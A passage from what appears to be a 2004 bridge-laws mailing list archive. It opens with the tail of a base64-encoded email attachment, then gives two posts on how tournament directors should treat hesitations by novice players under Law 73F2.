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 ------=_NextPart_000_0013_00001449.000012FB-- From twm@cix.co.uk Fri Mar 5 13:17:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 5 Mar 2004 13:17 +0000 (GMT Standard Time) Subject: [blml] Bunnies and Law 73F2 (was The WBF) In-Reply-To: Message-ID: Richard wrote: > Where I tend to agree with Nigel and disagree with Tim is > that non-infraction of Law 73F2 by a bunny is only, in my > opinion, a tendency. I do not agree with Tim's implication > that bunnies *never* infract Law 73F2. Nor do I! I have dealt with developing novices who have *told* me they paused to make it look like they had the Ace. They get a kindly explanation (and an adjusted score). I do, however, have a tendency to believe bunnies who tell me they had to think because they didn't know what the right bid was. > In my opinion, cuniculus sapiens (the cunning bunny) is an > endangered species, but it is not yet extinct. Indeed. Bunnies who have previously played (eg) poker can be quite devious. Tim From twm@cix.co.uk Fri Mar 5 13:17:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 5 Mar 2004 13:17 +0000 (GMT Standard Time) Subject: Fw: Fw: [blml] The WBF [WAS: revokes] In-Reply-To: <003501c40253$aaa99c80$969468d5@tinyhrieuyik> Message-ID: Nigel wrote: > Then there was no mention of investigation. It would > seem to waste time because Tim appeared to have made > up his mind. To remind you, Tim said... > "At the moment I know, whether TDing or playing, that > bunnies are largely incapable of noticing or making good > deductions from hesitations. As a player I don't call > the TD, as a TD I tell an expert who tries to get a score > adjustment not to be so stupid." Nigel, this was written in the context of a suggestion that we should always rule the same against bunnies as against experts. Why on earth would I mention "investigation"? It is automatic for a TD to investigate when he gets to a table and as a result of such investigations he will often find that no infraction has occurred. If I judge an expert is "trying it on" in such circumstances *and* should have known better I am perfectly entitled to tell the expert off. If I find the situation is one where the UI is obviously interpretable even by the bunny (fairly rare 